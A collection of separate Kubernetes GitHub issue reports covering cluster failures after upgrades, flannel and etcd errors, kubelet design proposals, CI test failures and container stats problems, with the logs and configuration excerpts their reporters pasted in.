   \r   what happened  :\r upgraded to 1.12 and cluster wont work\r \r   what you expected to happen  :\r a working cluster\r   how to reproduce it  as minimally and precisely as possible   :\r    \r  root@k8sdev01 log $ kubectl logs kube-flannel-ds-amd64-pz58h -n=kube-system\r i0928 14:02:35.305687       1 main.go:475  determining ip address of default interface\r i0928 14:02:35.306831       1 main.go:488  using interface with name ens33 and address 10.7.68.20\r i0928 14:02:35.306852       1 main.go:505  defaulting external address to interface address  10.7.68.20 \r e0928 14:03:05.308009       1 main.go:232  failed to create subnetmanager: error retrieving pod spec for 'kube-system/kube-flannel-ds-amd64-pz58h': get https://10.96.0.1:443/api/v1/namespaces/kube-system/pods/kube-flannel-ds-amd64-pz58h: dial tcp 10.96.0.1:443: i/o timeout\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12\r - cloud provider or hardware configuration: hardware private\r - os  e.g. from /etc/os-release : centos linux release 7.5.1804\r - kernel  e.g.  uname -a  : 4.1.12-124.19.5.el7uek.x86_64\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r the kubelet registration mechanism should be more robust  e.g. have a full controller that maintains desired/actual and reconciles that state periodically . the csi layer is not right layer to implement retries. retries should not be implemented by every consumer.\r \r   why is this needed  : for a more robust kubelet registration mechanism\r \r related issue:  71487 \r \r /cc @saad-ali \r  /assign

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r    master-upgrade gce-master-new-downgrade-cluster  https://testgrid.k8s.io/sig-release-master-upgrade gce-master-new-downgrade-cluster \r \r   which test s  are failing  :\r    skewtest  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster/1285 \r \r \r   since when has it been failing  :\r 2/23 at 22:26. \r -  k/k diff:1cfaf2bdc...139a13d31  https://github.com/kubernetes/kubernetes/compare/1cfaf2bdc...139a13d31 \r -  k/test-infra: d5df4edf4...ff3c62172  https://github.com/kubernetes/test-infra/compare/d5df4edf4...ff3c62172 .\r \r   testgrid link  :\r  https://testgrid.k8s.io/sig-release-master-upgrade gce-master-new-downgrade-cluster  https://testgrid.k8s.io/sig-release-master-upgrade gce-master-new-downgrade-cluster \r \r   reason for failure  :\r    \r error during kubetest --test --test_args=--ginkgo.focus=\\ slow\\ |\\ serial\\ |\\ disruptive\\  \r --ginkgo.skip=\\ flaky\\ |\\ feature:.+\\  --kubectl-path=../../../../kubernetes_skew/cluster/kubectl.sh \r --minstartuppods=8 --report-dir=/workspace/_artifacts --disable-log-dump=true \r --report-prefix=skew --check-version-skew=false: exit status 1\t\t\t\t\r    \r \r   anything else we need to know  :\r this test has been failing a lot.\r \r cc @mortent @kacole2 @mariantalla @smourapina\r \r   /  

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r kubectl get cs\r name                 status      message                                                               error\r etcd-1               unhealthy   get https://10.37.116.32:2379/health: remote error: bad certificate   \r scheduler            healthy     ok                                                                    \r controller-manager   healthy     ok                                                                    \r etcd-0               unhealthy   get https://10.37.116.31:2379/health: remote error: bad certificate  \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else do we need to know  :\r \r

there is a general issue in the kubelet, where we keep separate copies of the status in different components.  this idea originally arose because of  29033. it is difficult to make the volume manager respond to deletions because volume garbage collection relies on the pod manager to determine when a pod is deleted, while status updates for deletions are triggered using the status manager.  however, i think that this improvement could help simplify a lot of pod status logic.  this likely has issues i haven't yet thought of, but is a good place to start a discussion.\r \r to be more specific, the status manager currently keeps a \ cache\  of statuses, represented by a  map uid api.podstatus .  getting a status involves simply  return cache uid  .  setting a status involves simply setting  cache uid  = newstatus , and syncing that status with the api server.\r \r i am proposing changing this to no longer keep a cache, and instead doing the following.  for getting a status, call  statusmanager.podmanager.getpod uid  , and return the pod's status if found.  setting a status now involves calling  mypod := podmanager.getpod uid , mypod.status = newstatus; podmanager.update mypod    with some minor complications to this for thread safety.\r \r this eliminates inconsistencies between the pod and status manager, simplifies the status manager, and gives other components  e.g. the volume manager  a more complete view of the status of the pods on the kubelet.\r \r particularly useful may be the status manager and pod manager usage analysis i recorded in this doc https://docs.google.com/document/d/1whpfq2eshpb_gz0_cg_gplqxeiklgyw3aqr22h1_d7s/edit?usp=sharing\r \r cc: @kubernetes/sig-node

bug report/feature request\r \r   environment:  \r \r kubernetes version: 1.3.5\r \r   description:  \r \r the following occurred:\r   a machine disconnected from the cluster due to a network issue\r   kubernetes rescheduled the pods which where running on this machine, updates lb etc.\r   machine reconnects to the cluster  this was about 5 minutes later .\r   pod now exists twice since the disconnected machine kept the pod alive\r   kubernetes responds with delete on the pod killing all pods with the name of the pod.\r \r the end result is a consistent situation  so that is great , however: \r   the  perceived  bug:  \r \r   both pods where gone, while i would expect to have still 1 pod left with the given name.\r   the delete was executed with triggering the lifecyle.prestop.\r \r   the possible fix is i think a feature change:  \r \r   on reschedule of a pod due to machine failure, rename the pod so that if the machine which contains the failed pod returns to the cluster, the pod can be re-registered and handled with in a more graceful fashion.\r \r this option has to be optional in the deployment since this method only work reliable on horizontally scaleable pods, and does for example not work great for a database like mariadb. \r \r in my opinion the best place would be in spec.strategy with a single new option:\r spec.strategy.reschedule= rename or default current behavior .\r \r

! kubelet  https://user-images.githubusercontent.com/4333971/27151453-e2a03ad6-514a-11e7-9031-769a00262096.jpg \r \r this has been plotted using apiserver logs from our 100-node gce test  run 2701  and 100-node kubemark test  run 3203 . the first peak is from density test and the second from load test. both of them had density running first and the graphs are almost aligned in terms of timing of the tests.\r \r we need to understand why the hollow-kubelets are making 1.5-2 times the no. of api calls as real kubelets.\r \r cc @kubernetes/sig-scalability-misc @gmarek @wojtek-t

\r i0901 16:54:03.182    k8s.io/kubernetes/pkg/kubelet/cm\r i0901 16:54:03.182  pkg/kubelet/cm/container_manager_windows.go:34: cannot use containermanagerimpl literal  type  containermanagerimpl  as type containermanager in assignment:\r i0901 16:54:03.182  \t containermanagerimpl does not implement containermanager  wrong type for start method \r i0901 16:54:03.183  \t\thave start  \ k8s.io/kubernetes/vendor/k8s.io/api/core/v1\ .node, activepodsfunc  error\r i0901 16:54:03.183  \t\twant start  \ k8s.io/kubernetes/vendor/k8s.io/api/core/v1\ .node, activepodsfunc, status.podstatusprovider, cri.runtimeservice  error\r i0901 16:54:03.183  pkg/kubelet/cm/container_manager_windows.go:42: cannot use containermanagerimpl literal  type  containermanagerimpl  as type containermanager in return argument:\r i0901 16:54:03.183  \t containermanagerimpl does not implement containermanager  wrong type for start method \r i0901 16:54:03.184  \t\thave start  \ k8s.io/kubernetes/vendor/k8s.io/api/core/v1\ .node, activepodsfunc  error\r i0901 16:54:03.184  \t\twant start  \ k8s.io/kubernetes/vendor/k8s.io/api/core/v1\ .node, activepodsfunc, status.podstatusprovider, cri.runtimeservice  error\r    \r https://github.com/kubernetes/kubernetes/pull/51357\r https://k8s-testgrid.appspot.com/misc cross-build\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-cross-build/3131\r \r ---\r cc: @kubernetes/sig-node-bugs @kubernetes/sig-node-test-failures @connordoyle @derekwaynecarr @smarterclayton \r  /

is this a bug report or feature request?  :\r \r   \r   what happened  :\r  make test  on macos fails for the test  testcrilistpodstats :\r \r    \r --- fail: testcrilistpodstats  0.00s \r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r \tpanic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x10 pc=0x1e4d1c3 \r \r goroutine 47  running :\r testing.trunner.func1 0xc4200ec1e0 \r \t/usr/local/go/src/testing/testing.go:711 +0x2d2\r panic 0x1fda460, 0x2af3600 \r \t/usr/local/go/src/runtime/panic.go:491 +0x283\r time.time.time.unixnano ... \r \t/users/patrikerdes/gosrc/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/stats/cri_stats_provider_test.go:467\r k8s.io/kubernetes/pkg/kubelet/stats.checkcripodcpuandmemorystats 0xc4203b2048, 0x21a6f4e, 0xd, 0x21a4ebf, 0xb, 0x21a5e85, 0xc, 0x39459f0, 0xed2586d63, 0x2b0b240, ... \r \t/users/patrikerdes/gosrc/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/stats/cri_stats_provider_test.go:467 +0xb3\r k8s.io/kubernetes/pkg/kubelet/stats.testcrilistpodstats 0xc4200ec1e0 \r \t/users/patrikerdes/gosrc/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/stats/cri_stats_provider_test.go:209 +0x3923\r testing.trunner 0xc4200ec1e0, 0x222bec0 \r \t/usr/local/go/src/testing/testing.go:746 +0xd0\r created by testing.  t .run\r \t/usr/local/go/src/testing/testing.go:789 +0x2de\r    \r \r   what you expected to happen  :\r i expect all unit tests to pass on  linux, windows and macos  https://github.com/kubernetes/community/blob/master/contributors/devel/testing.md unit-tests .\r \r   how to reproduce it  as minimally and precisely as possible   :\r  make test what=./pkg/kubelet/stats goflags=\ -v\  kube_test_args='-run ^testcrilistpodstats$'  on macos or windows\r \r   anything else we need to know?  :\r this is the same problem as for issue  57636 / pr  57637.\r \r i have not ran the test on windows, but i assume that it fails on windows as well.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r > >  \r \r   what happened  :\r  kubectl get pods\r  \r  unable to connect to the server: http2: server sent goaway and closed the connection; laststreamid=9, errcode=no_error, debug=\ \ \r  \r \r \r \r   what you expected to happen  :\r list pods\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - update history \r  commandline: aptdaemon role='role-commit-packages' sender=':1.23281'\r install: pigz:amd64  2.3.4-1, automatic , nvidia-container-runtime-hook:amd64  1.3.0-1, automatic \r upgrade: nvidia-docker2:amd64  2.0.2+docker17.12.0-1, 2.0.3+docker18.03.0-1 , kubelet:amd64  1.9.3-00, 1.10.0-00 , friendly-recovery:amd64  0.2.36, 0.2.36ubuntu1 , libnvidia-container-tools:amd64  1.0.0~alpha.3-1, 1.0.0~beta.1-1 , nvidia-container-runtime:amd64  1.1.1+docker17.12.0-1, 2.0.0+docker18.03.0-1 , grub-common:amd64  2.02~beta3-4ubuntu7.1, 2.02~beta3-4ubuntu7.3 , libavahi-glib1:amd64  0.6.32-1ubuntu1, 0.6.32-1ubuntu1.1 , python3-aptdaemon.gtk3widgets:amd64  1.1.1+bzr982-0ubuntu17, 1.1.1+bzr982-0ubuntu17.1 , lshw:amd64  02.18-0.1ubuntu4, 02.18-0.1ubuntu4.1 , libavahi-common-data:amd64  0.6.32-1ubuntu1, 0.6.32-1ubuntu1.1 , slack-desktop:amd64  3.0.5, 3.1.1 , libavahi-common3:amd64  0.6.32-1ubuntu1, 0.6.32-1ubuntu1.1 , google-chrome-stable:amd64  64.0.3282.186-1, 66.0.3359.117-1 , plymouth-label:amd64  0.9.2-3ubuntu17, 0.9.2-3ubuntu19 , grub2-common:amd64  2.02~beta3-4ubuntu7.1, 2.02~beta3-4ubuntu7.3 , plymouth-theme-ubuntu-text:amd64  0.9.2-3ubuntu17, 0.9.2-3ubuntu19 , isc-dhcp-common:amd64  4.3.5-3ubuntu2.2, 4.3.5-3ubuntu2.3 , initramfs-tools-bin:amd64  0.125ubuntu12, 0.125ubuntu12.1 , libplymouth4:amd64  0.9.2-3ubuntu17, 0.9.2-3ubuntu19 , libavahi-ui-gtk3-0:amd64  0.6.32-1ubuntu1, 0.6.32-1ubuntu1.1 , libnvidia-container1:amd64  1.0.0~alpha.3-1, 1.0.0~beta.1-1 , grub-efi-amd64-bin:amd64  2.02~beta3-4ubuntu7.1, 2.02~beta3-4ubuntu7.3 , avahi-daemon:amd64  0.6.32-1ubuntu1, 0.6.32-1ubuntu1.1 , libavahi-core7:amd64  0.6.32-1ubuntu1, 0.6.32-1ubuntu1.1 , grub-efi-amd64:amd64  2.02~beta3-4ubuntu7.1, 2.02~beta3-4ubuntu7.3 , aptdaemon-data:amd64  1.1.1+bzr982-0ubuntu17, 1.1.1+bzr982-0ubuntu17.1 , avahi-autoipd:amd64  0.6.32-1ubuntu1, 0.6.32-1ubuntu1.1 , plymouth:amd64  0.9.2-3ubuntu17, 0.9.2-3ubuntu19 , python3-aptdaemon:amd64  1.1.1+bzr982-0ubuntu17, 1.1.1+bzr982-0ubuntu17.1 , grub-efi-amd64-signed:amd64  1.85.1+2.02~beta3-4ubuntu7.1, 1.85.3+2.02~beta3-4ubuntu7.3 , avahi-utils:amd64  0.6.32-1ubuntu1, 0.6.32-1ubuntu1.1 , kubeadm:amd64  1.9.3-00, 1.10.0-00 , aptdaemon:amd64  1.1.1+bzr982-0ubuntu17, 1.1.1+bzr982-0ubuntu17.1 , plymouth-theme-ubuntu-logo:amd64  0.9.2-3ubuntu17, 0.9.2-3ubuntu19 , kubectl:amd64  1.9.3-00, 1.10.0-00 , libavahi-client3:amd64  0.6.32-1ubuntu1, 0.6.32-1ubuntu1.1 , isc-dhcp-client:amd64  4.3.5-3ubuntu2.2, 4.3.5-3ubuntu2.3 , initramfs-tools-core:amd64  0.125ubuntu12, 0.125ubuntu12.1 , initramfs-tools:amd64  0.125ubuntu12, 0.125ubuntu12.1 , docker-ce:amd64  17.12.0~ce-0~ubuntu, 18.03.0~ce-0~ubuntu , hdparm:amd64  9.51+ds-1, 9.51+ds-1ubuntu0.1 \r end-date: 2018-04-20  09:51:23\r  \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r  client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r  name=\ ubuntu\ \r version=\ 17.10  artful aardvark \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 17.10\ \r version_id=\ 17.10\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=artful\r ubuntu_codename=artful\r  \r - kernel  e.g.  uname -a  :\r \r  linux sh-hyrican-pc 4.13.0-38-generic  43-ubuntu smp wed mar 14 15:20:44 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r \r - install tools:\r  kubeadm version: &version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  \r - others:\r  journalctl -fu kubelet \r  error syncing pod 17c801f54fe8bd173a9f4810b4242bbb  \ etcd-sh-hyrican-pc_kube-system 17c801f54fe8bd173a9f4810b4242bbb \  , skipping: failed to \ startcontainer\  for \ etcd\  with crashloopbackoff: \ back-off 5m0s restarting failed container=etcd pod=etcd-sh-hyrican-pc_kube-system 17c801f54fe8bd173a9f4810b4242bbb \ \r  \r

  \r the test/e2e/apimachinery/webhook tests serve as examples for webhook users. the tests construct api objects as golang structs. for example purposes, yaml configs are better, as that's how many users create api objects.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :  gcr.io/google-containers/elasticsearch:v6.3.0  has a bunch of security vulnerabilities\r \r   what you expected to happen  : no vulns\r \r   how to reproduce it  as minimally and precisely as possible   : run a security scanner against the image\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

ingress.yaml      apiversion: extensions/v1beta1 kind: ingress metadata:   name: long-running spec:   rules:     - host: specs.example.com       http:         paths:         - backend:             servicename: specs-service             serviceport: 80       kubectl describe ing long-running  returns  googleapi: error 400: invalid value for field 'resource.pathmatchers 0 .pathrules 0 .paths 0 ': ''.  must have between 1 and 1024 character s , invalid  changing the  serviceport  to something other than 80, and adding  path: /   both solve this problem

in the documentation  here  http://kubernetes.io/v1.1/docs/user-guide/compute-resources.html my-container-is-terminated   it shows a pod using too much memory and is promptly killed. when this happens it shows the error reason as \ oom\   and error code as 137 in the docs. when i go through similar steps myself, the termination reason is just \ error\ , though i do still get the 137 error code. is there a reason this was changed? oom is very clear on what happened while \ error\  can send people down a wild chase trying to figure out what happened to their pod - hence me filing this issue.  for reference the script ran in my docker image just eats memory until it the container gets killed.      $kubectl version client version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.1\ , gitcommit:\ 92635e23dfafb2ddc828c8ac6c03c7a7205a84d8\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.3\ , gitcommit:\ 6a81b50c7e97bbe0ade075de55ab4fa34f049dc2\ , gittreestate:\ clean\ }          $ kubectl get pod -o json  memtest {     \ kind\ : \ pod\ ,     \ apiversion\ : \ v1\ ,     \ metadata\ : {         \ name\ : \ memtest\ ,         \ namespace\ : \ default\ ,         \ selflink\ : \ /api/v1/namespaces/default/pods/memtest\ ,         \ uid\ : \ c480d1ba-bec2-11e5-ad45-062d2421a4bd\ ,         \ resourceversion\ : \ 21949421\ ,         \ creationtimestamp\ : \ 2016-01-19t15:39:03z\      },     \ spec\ : {         \ containers\ :               {                 \ name\ : \ memtest\ ,                 \ image\ : \ nyxcharon/docker-stress:latest\ ,                 \ args\ :                       \ python\ ,                     \ /scripts/mem-fill\                   ,                 \ resources\ : {                     \ limits\ : {                         \ memory\ : \ 10m\                      },                     \ requests\ : {                         \ memory\ : \ 10m\                      }                 },                 \ terminationmessagepath\ : \ /dev/termination-log\ ,                 \ imagepullpolicy\ : \ always\              }          ,         \ restartpolicy\ : \ never\ ,         \ terminationgraceperiodseconds\ : 30,         \ dnspolicy\ : \ clusterfirst\ ,         \ nodename\ : \ <ip removed>\      },     \ status\ : {         \ phase\ : \ failed\ ,         \ conditions\ :               {                 \ type\ : \ ready\ ,                 \ status\ : \ false\ ,                 \ lastprobetime\ : null,                 \ lasttransitiontime\ : null             }          ,         \ hostip\ : \ <ip removed>\ ,         \ starttime\ : \ 2016-01-19t15:39:03z\ ,         \ containerstatuses\ :               {                 \ name\ : \ memtest\ ,                 \ state\ : {                     \ terminated\ : {                         \ exitcode\ : 137,                         \ reason\ : \ error\ ,                         \ startedat\ : \ 2016-01-19t15:39:15z\ ,                         \ finishedat\ : \ 2016-01-19t15:39:16z\ ,                         \ containerid\ : \ docker://3dd77f77dfd6e715c8792c625f388e0b31cbd36ccdb4a11dafbb6d381bf83943\                      }                 },                 \ laststate\ : {},                 \ ready\ : false,                 \ restartcount\ : 0,                 \ image\ : \ nyxcharon/docker-stress:latest\ ,                 \ imageid\ : \ docker://bacbb71b34e92ed2074621d86b10ec15a856f5918537c4d75b6f16925b5b93e7\ ,                 \ containerid\ : \ docker://3dd77f77dfd6e715c8792c625f388e0b31cbd36ccdb4a11dafbb6d381bf83943\              }               } }          $ kubectl describe pod memtest name:               memtest namespace:          default image s :           nyxcharon/docker-stress:latest node:               <ip removed> start time:         tue, 19 jan 2016 10:39:03 -0500 labels:             <none> status:             failed reason: message: ip: replication controllers:    <none> containers:   memtest:     container id:   docker://3dd77f77dfd6e715c8792c625f388e0b31cbd36ccdb4a11dafbb6d381bf83943     image:      nyxcharon/docker-stress:latest     image id:       docker://bacbb71b34e92ed2074621d86b10ec15a856f5918537c4d75b6f16925b5b93e7     qos tier:       memory:   guaranteed     limits:       memory:   10m     requests:       memory:       10m     state:      terminated       reason:       error       exit code:    137       started:      tue, 19 jan 2016 10:39:15 -0500       finished:     tue, 19 jan 2016 10:39:16 -0500     ready:      false     restart count:  0     environment variables: conditions:   type      status   ready     false no volumes. events:   firstseen lastseen    count   from                    subobjectpath               reason  message   ─────────   ────────    ───── ────                    ─────────────             ──────  ───────   2m        2m      1   {kubelet <ip removed>}  implicitly required container pod   pulled  container image \ gcr.io/google_containers/pause:0.8.0\  already present on machine   2m        2m      1   {scheduler }                                    scheduled   successfully assigned memtest to <ip removed>   2m        2m      1   {kubelet <ip removed>}  implicitly required container pod   createdcreated with docker id 65a446677edd   2m        2m      1   {kubelet <ip removed>}  spec.containers{memtest}        pullingpulling image \ nyxcharon/docker-stress:latest\    2m        2m      1   {kubelet <ip removed>}  implicitly required container pod   startedstarted with docker id 65a446677edd   2m        2m      1   {kubelet <ip removed>}  spec.containers{memtest}        pulled  successfully pulled image \ nyxcharon/docker-stress:latest\    2m        2m      1   {kubelet <ip removed>}  spec.containers{memtest}        createdcreated with docker id 3dd77f77dfd6   2m        2m      1   {kubelet <ip removed>}  spec.containers{memtest}        startedstarted with docker id 3dd77f77dfd6   2m        2m      1   {kubelet <ip removed>}  implicitly required container pod   killingkilling with docker id 65a446677edd      here is the pod definition i'm using:      kind: pod apiversion: v1 metadata:   name: memtest spec:   containers:   - name: memtest     image: nyxcharon/docker-stress:latest     args:     - python     - /scripts/mem-fill     resources:       limits:         memory: 10m   restartpolicy: never

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/9671/  failed:  k8s.io  kubectl client  k8s.io  kubectl run default should create an rc or deployment from an image  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:841 expected error:     < errors.errorstring | 0xc8205720f0>: {         s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.154.253.4 --kubeconfig=/workspace/.kube/config run e2e-test-nginx-deployment --image=gcr.io/google_containers/nginx:1.7.9 --namespace=e2e-tests-kubectl-ixokf      <nil>  error: failed to discover supported resources: the server does not allow access to the requested resource\     <nil> 0xc82025e1c0 exit status 1 <nil> true  0xc8201c6f60 0xc8201c6f78 0xc8201c6f90   0xc8201c6f60 0xc8201c6f78 0xc8201c6f90   0xc8201c6f70 0xc8201c6f88   0xa88200 0xa88200  0xc82036f6e0}:\ command stdout:\ \ stderr:\ error: failed to discover supported resources: the server does not allow access to the requested resource\ \ error:\ exit status 1\ \ ,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.154.253.4 --kubeconfig=/workspace/.kube/config run e2e-test-nginx-deployment --image=gcr.io/google_containers/nginx:1.7.9 --namespace=e2e-tests-kubectl-ixokf      <nil>  error: failed to discover supported resources: the server does not allow access to the requested resource         <nil> 0xc82025e1c0 exit status 1 <nil> true  0xc8201c6f60 0xc8201c6f78 0xc8201c6f90   0xc8201c6f60 0xc8201c6f78 0xc8201c6f90   0xc8201c6f70 0xc8201c6f88   0xa88200 0xa88200  0xc82036f6e0}:     command stdout:      stderr:     error: failed to discover supported resources: the server does not allow access to the requested resource      error:     exit status 1  not to have occurred      previous issues for this test:  27014

i am hitting this problem with v1.2.4.  i have a pod named \ lma-enp1h\  running on a node, and that pod includes a container named \ hindsight\ . the problem is that i cannot get stats for this container:      shell $   using the /stats/<pod name>/<container name> form $ curl localhost:10255/stats/lma-enp1h/hindsight internal error: unable to find docker container \ 59c6609ee6a98a49b1db41c441e082603b40e0e7b880456dc6309dd7bf121475\           shell $   using the /stats/<namespace>/<pod name>/<uid>/<container name> form $ curl localhost:10255/stats/default/lma-enp1h/ba48dff9-3942-11e6-9e92-64825ffb1682/hindsight internal error: unable to find docker container \ 59c6609ee6a98a49b1db41c441e082603b40e0e7b880456dc6309dd7bf121475\       kubelet does find the id of the \ hindsight\  container, but it reports that it is unable to find a container with that id.  the container does exist on the node, and it is running:      shell $ docker ps --no-trunc | grep 59c6609ee6a98a49b1db41c441e082603b40e0e7b880456dc6309dd7bf121475 59c6609ee6a98a49b1db41c441e082603b40e0e7b880456dc6309dd7bf121475   mcp/hindsight:latest    \ /usr/local/bin/hindsight /etc/hindsight/hindsight.cfg\     20 hours ago    up 20 hours    k8s_hindsight.4ee35f9_lma-enp1h_default_ba48dff9-3942-11e6-9e92-64825ffb1682_aaaa5d6f      and cadvisor does report statistics for that container:      shell $ curl localhost:4194/api/v1.3/containers/docker/59c6609ee6a98a49b1db41c441e082603b40e0e7b880456dc6309dd7bf121475 {\ name\ :\ /docker/59c6609ee6a98a49b1db41c441e082603b40e0e7b880456dc6309dd7bf121475\ …      this is the error i see in the kubelet logs:      moved from https://github.com/kubernetes/kubernetes/issues/18868 issuecomment-228321537  reported by @elemoine:  jun 24 12:19:34 node1 kubelet 19095 : i0624 12:19:34.169643   19095 handler.go:239  http internalservererror: internal error: unable to find docker container \ 59c6609ee6a98a49b1db41c441e082603b40e0e7b880456dc6309dd7bf121475\  jun 24 12:19:34 node1 kubelet 19095 : i0624 12:19:34.169849   19095 server.go:1096  get /stats/lma-enp1h/hindsight:  4.381405ms  500 jun 24 12:19:34 node1 kubelet 19095 : goroutine 450  running : jun 24 12:19:34 node1 kubelet 19095 : k8s.io/kubernetes/pkg/httplog.  resplogger .recordstatus 0xc2088dc2a0, 0x1f4  jun 24 12:19:34 node1 kubelet 19095 :  011/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:214 +0xa6 jun 24 12:19:34 node1 kubelet 19095 : k8s.io/kubernetes/pkg/httplog.  resplogger .writeheader 0xc2088dc2a0, 0x1f4  jun 24 12:19:34 node1 kubelet 19095 :  011/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:193 +0x32 jun 24 12:19:34 node1 kubelet 19095 : github.com/emicklei/go-restful.  response .writeheader 0xc208922000, 0x1f4  jun 24 12:19:34 node1 kubelet 19095 :  011/go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/response.go:191 +0x48 jun 24 12:19:34 node1 kubelet 19095 : github.com/emicklei/go-restful.  response .writeerrorstring 0xc208922000, 0x1f4, 0xc20841eb80, 0x72, 0x0, 0x0  jun 24 12:19:34 node1 kubelet 19095 :  011/go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/response.go:180 +0x128 jun 24 12:19:34 node1 kubelet 19095 : k8s.io/kubernetes/pkg/kubelet/server/stats.handleerror 0xc208922000, 0x7f0047090040, 0xc208dcd1f0  jun 24 12:19:34 node1 kubelet 19095 :  011/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/stats/handler.go:240 +0x29a jun 24 12:19:34 node1 kubelet 19095 : k8s.io/kubernetes/pkg/kubelet/server/stats.  handler .handlepodcontainer 0xc2085234a0, 0xc208dde3f0, 0xc208922000  jun 24 12:19:34 node1 kubelet 19095 :  011/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/stats/handler.go:216 +0x8a6 jun 24 12:19:34 node1 kubelet 19095 : k8s.io/kubernetes/pkg/kubelet/server/stats. handler. k8s.io/kubernetes/pkg/kubelet/server/stats.handlepodcontainer ·fm 0xc208dde3f0, 0xc208922000  jun 24 12:19:34 node1 kubelet 19095 :  011/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/stats/handler.go:72 +0x3b jun 24 12:19:34 node1 kubelet 19095 : github.com/emicklei/go-restful.  container .dispatch 0xc208516120, 0x7f0046ee8148, 0xc2088dc2a0, 0xc208790340  jun 24 12:19:34 node1 kubelet 19095 :  011/go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/emicklei/go-restful/container.go:249 +0xf5e jun 24 12:19:34 node1 kubelet 19095 : github.com/emicklei/go-restful. container. github.com/emicklei/go-restful.dispatch ·fm 0x7f0046ee8148, 0xc2088dc2a0, 0xc208790340  jun 24 12:19:34 node1 kubelet 19095 :  